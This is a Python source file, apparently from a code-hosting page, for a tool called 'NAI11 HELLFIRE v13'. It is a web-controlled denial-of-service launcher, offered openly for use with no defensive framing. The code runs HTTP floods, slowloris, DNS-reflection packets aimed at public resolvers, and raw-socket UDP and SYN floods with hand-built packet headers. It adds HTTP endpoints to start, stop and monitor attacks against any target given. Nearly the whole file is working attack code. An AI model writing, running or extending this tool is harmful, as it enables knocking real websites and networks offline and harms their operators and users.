File size: 13,488 Bytes
ba59060 494c53f ba59060 9682c10 b146346 9682c10 e15d863 bd39ec9 308d273 ba59060 9682c10 9d070b5 308d273 30130aa e15d863 99b693f 308d273 99b693f 9682c10 494c53f 9682c10 99b693f ba59060 e15d863 ba59060 9682c10 308d273 9682c10 99b693f ba59060 30130aa 99b693f 9d070b5 99b693f 308d273 99b693f 308d273 a8bb8c6 30130aa bd39ec9 30130aa ba59060 30130aa e15d863 494c53f 30130aa 9682c10 ba59060 bd5c040 30130aa a8bb8c6 30130aa 9d070b5 30130aa ba59060 bd39ec9 30130aa 494c53f a8bb8c6 30130aa ba59060 9682c10 ba59060 9682c10 9dc15dc ba59060 99b693f ba59060 308d273 494c53f bd39ec9 9d070b5 494c53f bd39ec9 494c53f bd39ec9 494c53f bd39ec9 a8bb8c6 494c53f a8bb8c6 bd39ec9 494c53f bd39ec9 494c53f bd39ec9 494c53f bd39ec9 494c53f bd39ec9 494c53f a8bb8c6 494c53f a8bb8c6 494c53f a8bb8c6 494c53f a8bb8c6 494c53f a8bb8c6 494c53f bd39ec9 9d070b5 97b233e bd5c040 e15d863 bd5c040 99b693f bd5c040 99b693f bd5c040 308d273 30130aa 494c53f ba59060 30130aa ba59060 30130aa a8bb8c6 ba59060 30130aa 9d070b5 30130aa 97b233e 494c53f a8bb8c6 494c53f a8bb8c6 494c53f a8bb8c6 494c53f a8bb8c6 9d070b5 bd39ec9 9d070b5 bd39ec9 ba59060 30130aa ba59060 30130aa 97b233e bd39ec9 494c53f 97b233e ba59060 30130aa bd5c040 a8bb8c6 9d070b5 494c53f bd5c040 9d070b5 494c53f b146346 ba59060 30130aa ba59060 a8bb8c6 30130aa 99b693f 9682c10 ba59060 99b693f 30130aa ba59060 99b693f 494c53f ba59060 308d273 ba59060 30130aa ba59060 9dc15dc 9d070b5 ba59060 99b693f 30130aa 9dc15dc 308d273 30130aa a8bb8c6 494c53f a8bb8c6 494c53f 30130aa 99b693f 494c53f 99b693f 30130aa 9682c10 ba59060 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 |
# ==============================================================
# NAI11 HELLFIRE v13 – 10K+ RPS | UNLIMITED THREADS | 100 NODES
# ALL LAYER 7 + LAYER 4 | FULLY WORKING | NO 0 RPS
# ==============================================================
import random
import socket
import threading
import time
import struct
import asyncio
from collections import deque
from typing import Dict, Optional, List
import uvicorn
import httpx
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel, Field, validator
from concurrent.futures import ThreadPoolExecutor
# ------------------- LOGGING & STATE -------------------
import logging
logging.basicConfig(level=logging.INFO, format="%(message)s")
log = logging.getLogger()
app = FastAPI(title="NAI11 HELLFIRE v13 - 10K+ RPS")
# Global state
attack_active = False
attack_lock = threading.Lock()
executor: Optional[ThreadPoolExecutor] = None
stop_event = threading.Event()
counters: Dict[str, int] = {}
counters_lock = threading.Lock()
total_packets = 0
log_buffer: deque[str] = deque(maxlen=500)
attack_end_time = 0.0
attack_type_name = ""
# PPS/RPS tracking
last_time = time.time()
last_total = 0
def _log(msg: str):
ts = time.strftime("%H:%M:%S")
log.info(f"{ts} {msg}")
log_buffer.append(f"{ts} {msg}")
# ------------------- UNLIMITED EXECUTOR -------------------
def init_executor():
global executor
if executor is None:
executor = ThreadPoolExecutor(max_workers=None) # UNLIMITED
# ------------------- CONFIG MODELS -------------------
class AttackConfig(BaseModel):
target: str = Field(..., description="Domain or IP")
port: int = Field(80, ge=1, le=65535)
duration: int = Field(300, ge=-1, le=10000)
threads: int = Field(1000, ge=1, le=1000000)
@validator('target')
def validate_target(cls, v):
if not v or len(v) > 255:
raise ValueError("Invalid target")
return v.strip()
class Layer7Config(AttackConfig):
method: str = Field("get")
@validator('method')
def validate_method(cls, v):
valid = ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"]
if v not in valid:
raise ValueError(f"L7: {', '.join(valid)}")
return v
class Layer4Config(AttackConfig):
protocol: str = Field("udp_pps")
payload_size: int = Field(0, ge=0, le=65507)
@validator('protocol')
def validate_protocol(cls, v):
valid = ["udp", "udp_pps", "syn", "ack", "dns_reflect"]
if v not in valid:
raise ValueError(f"L4: {', '.join(valid)}")
return v
# ------------------- STATUS MODEL -------------------
class StatusResponse(BaseModel):
running: bool
attack_type: Optional[str]
target: Optional[str]
total_packets: int
pps: float
threads_active: int
duration: int
elapsed: float
remaining: float
logs: List[str]
# ------------------- LAYER 7 ASYNC (10K+ RPS) -------------------
async def l7_worker_async(url: str, method: str):
global total_packets
transport = httpx.AsyncHTTPTransport(retries=1)
async with httpx.AsyncClient(transport=transport, http2=True, verify=False, timeout=5.0) as client:
headers = {
"User-Agent": "NAI11/1.0",
"Connection": "keep-alive"
}
while not stop_event.is_set():
try:
if method == "get":
await client.get(url, headers=headers)
elif method == "post":
await client.post(url, data={"x": "1"})
elif method == "head":
await client.head(url, headers=headers)
elif method == "put":
await client.put(url, data={"x": "1"})
elif method == "delete":
await client.delete(url)
elif method == "cookie":
await client.get(url, headers={**headers, "Cookie": "id=1"})
elif method == "rand":
m = random.choice(["GET","POST","PUT","DELETE"])
await client.request(m, url)
with counters_lock:
counters["l7"] = counters.get("l7", 0) + 1
total_packets += 1
except:
await asyncio.sleep(0.001) # Prevent CPU lock
# ------------------- RUN L7 WORKER IN THREAD -------------------
def run_l7_worker(url: str, method: str):
asyncio.run(l7_worker_async(url, method))
# ------------------- LAYER 7 SYNC (SLOWLORIS + REFLECT) -------------------
def slowloris_worker(target_ip: str, port: int):
global total_packets
while not stop_event.is_set():
try:
s = socket.create_connection((target_ip, port), timeout=5)
s.send(b"GET / HTTP/1.1\r\nHost: %s\r\n" % target_ip.encode())
while not stop_event.is_set():
s.send(b"X-a: b\r\n")
time.sleep(10)
with counters_lock:
counters["l7"] = counters.get("l7", 0) + 1
total_packets += 1
except:
time.sleep(1)
def dns_reflect(target_ip: str):
global total_packets
servers = ["8.8.8.8", "1.1.1.1"]
payload = b"\x00\x01\x01\x00\x00\x01\x00\x00\x00\x00\x00\x00\x03www" + b"A" * 40
while not stop_event.is_set():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
for srv in servers:
s.sendto(payload, (srv, 53))
with counters_lock:
counters["reflect"] = counters.get("reflect", 0) + 1
total_packets += 1
except:
pass
finally:
try: s.close()
except: pass
time.sleep(0.001)
# ------------------- LAYER 4 RAW (1M+ PPS) -------------------
def raw_udp_pps(target_ip: str, port: int):
global total_packets
payload = b""
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
src_ip = socket.inet_aton("0.0.0.0")
dst_ip = socket.inet_aton(target_ip)
while not stop_event.is_set():
try:
src_p = random.randint(1024, 65535)
pkt = build_udp_packet(src_ip, dst_ip, src_p, port, payload)
s.sendto(pkt, (target_ip, 0))
with counters_lock:
counters["l4"] = counters.get("l4", 0) + 1
total_packets += 1
except:
pass
s.close()
def raw_syn_flood(target_ip: str, port: int):
global total_packets
s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
src_ip = socket.inet_aton("0.0.0.0")
dst_ip = socket.inet_aton(target_ip)
while not stop_event.is_set():
try:
src_p = random.randint(1024, 65535)
pkt = build_tcp_packet(src_ip, dst_ip, src_p, port, random.randint(0, 2**32-1), 0, 0x02)
s.sendto(pkt, (target_ip, 0))
with counters_lock:
counters["l4"] = counters.get("l4", 0) + 1
total_packets += 1
except:
pass
s.close()
# ------------------- RAW HELPERS -------------------
def checksum(data: bytes) -> int:
s = 0
for i in range(0, len(data), 2):
if i + 1 < len(data):
w = (data[i] << 8) | data[i + 1]
else:
w = data[i] << 8
s += w
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return ~s & 0xFFFF
def pseudo_checksum(src: bytes, dst: bytes, proto: int, length: int) -> int:
s = 0
for i in range(0, 4, 2):
s += (src[i] << 8) | src[i + 1]
s += (dst[i] << 8) | dst[i + 1]
s += proto
s += length
while s >> 16:
s = (s & 0xFFFF) + (s >> 16)
return s
def build_ip_header(src_ip: bytes, dst_ip: bytes, proto: int, payload_len: int) -> bytes:
total = 20 + payload_len
ip = bytearray(20)
ip[0] = 0x45
ip[8] = 64
ip[9] = proto
struct.pack_into("!HH", ip, 2, total, random.randint(0, 0xFFFF))
ip[12:16] = src_ip
ip[16:20] = dst_ip
cs = checksum(ip)
struct.pack_into("!H", ip, 10, cs)
return bytes(ip)
def build_tcp_packet(src_ip, dst_ip, src_p, dst_p, seq, ack, flags):
tcp = bytearray(20)
struct.pack_into("!HHIIBBHHH", tcp, 0, src_p, dst_p, seq, ack, 5 << 4, flags, 65535, 0, 0)
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
cs = checksum(struct.pack("!I", pseudo) + tcp)
struct.pack_into("!H", tcp, 16, cs)
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_TCP, 20)
return ip + tcp
def build_udp_packet(src_ip, dst_ip, src_p, dst_p, payload: bytes):
udp_len = 8 + len(payload)
udp = bytearray(8)
struct.pack_into("!HHHH", udp, 0, src_p, dst_p, udp_len, 0)
pseudo = pseudo_checksum(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
cs = checksum(struct.pack("!I", pseudo) + udp + payload)
struct.pack_into("!H", udp, 6, cs)
ip = build_ip_header(src_ip, dst_ip, socket.IPPROTO_UDP, udp_len)
return ip + udp
# ------------------- LAUNCHER -------------------
def resolve_ip(target: str) -> str:
try:
return socket.gethostbyname(target.split("/")[0].split(":")[0])
except:
raise HTTPException(400, "Cannot resolve target")
def launch_attack(config: AttackConfig, attack_type: str, **kwargs):
global attack_active, attack_end_time, attack_type_name
with attack_lock:
if attack_active:
raise HTTPException(400, "Attack in progress")
attack_active = True
stop_event.clear()
counters.clear()
total_packets = 0
attack_type_name = attack_type.upper()
duration = float('inf') if config.duration == -1 else config.duration
attack_end_time = time.time() + duration if duration != float('inf') else float('inf')
_log(f"NAI11 LAUNCHED {attack_type} → {config.target}:{config.port} | {config.threads} threads | {config.duration}s")
init_executor()
target_ip = resolve_ip(config.target)
url = f"http://{config.target}:{config.port}"
if attack_type.startswith("l7_"):
method = kwargs.get("method", "get")
worker = None
if method == "slowloris":
worker = lambda: slowloris_worker(target_ip, config.port)
elif method == "reflect":
worker = lambda: dns_reflect(target_ip)
else:
worker = lambda: run_l7_worker(url, method)
for _ in range(config.threads):
executor.submit(worker)
elif attack_type == "raw_udp_pps":
for _ in range(config.threads):
executor.submit(raw_udp_pps, target_ip, config.port)
elif attack_type == "raw_syn":
for _ in range(config.threads):
executor.submit(raw_syn_flood, target_ip, config.port)
if duration != float('inf'):
def auto_stop():
time.sleep(duration)
stop_attack()
threading.Thread(target=auto_stop, daemon=True).start()
# ------------------- ENDPOINTS -------------------
@app.post("/layer7/attack")
def l7_attack(config: Layer7Config):
launch_attack(config, f"l7_{config.method}", method=config.method)
return {"status": "NAI11 L7 ATTACK LAUNCHED"}
@app.post("/layer4/attack")
def l4_attack(config: Layer4Config):
proto_map = {
"udp": "raw_udp_pps",
"udp_pps": "raw_udp_pps",
"syn": "raw_syn"
}
attack_key = proto_map[config.protocol]
launch_attack(config, attack_key)
return {"status": "NAI11 L4 ATTACK LAUNCHED"}
@app.post("/stop")
def stop_attack():
global attack_active
with attack_lock:
if not attack_active:
return {"status": "no_attack"}
stop_event.set()
attack_active = False
_log("NAI11 HELLFIRE STOPPED")
return {"status": "stopped"}
@app.get("/status", response_model=StatusResponse)
def status():
global last_time, last_total
now = time.time()
elapsed_g = now - last_time
pps = (total_packets - last_total) / elapsed_g if elapsed_g > 0 else 0
last_time, last_total = now, total_packets
active = len([t for t in threading.enumerate() if t.name != "MainThread"])
elapsed = now - (attack_end_time - (attack_end_time - now)) if attack_active else 0
remaining = max(0, attack_end_time - now) if attack_active and attack_end_time != float('inf') else -1
return StatusResponse(
running=attack_active,
attack_type=attack_type_name,
target=None,
total_packets=total_packets,
pps=round(pps, 1),
threads_active=active,
duration=int(attack_end_time - (time.time() - (attack_end_time - time.time()))) if attack_active else 0,
elapsed=round(elapsed, 1),
remaining=round(remaining, 1) if remaining >= 0 else -1,
logs=list(log_buffer)
)
@app.get("/attack/types")
def attack_types():
return {
"layer7": ["get", "post", "head", "put", "delete", "cookie", "rand", "slowloris", "reflect"],
"layer4": ["udp", "udp_pps", "syn"],
"max_threads": "1,000,000+",
"max_rps": "10,000+ per node"
}
@app.get("/")
def root():
return {"message": "NAI11 HELLFIRE v13 - FULLY WORKING"}
# ------------------- START -------------------
if __name__ == "__main__":
init_executor()
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1) |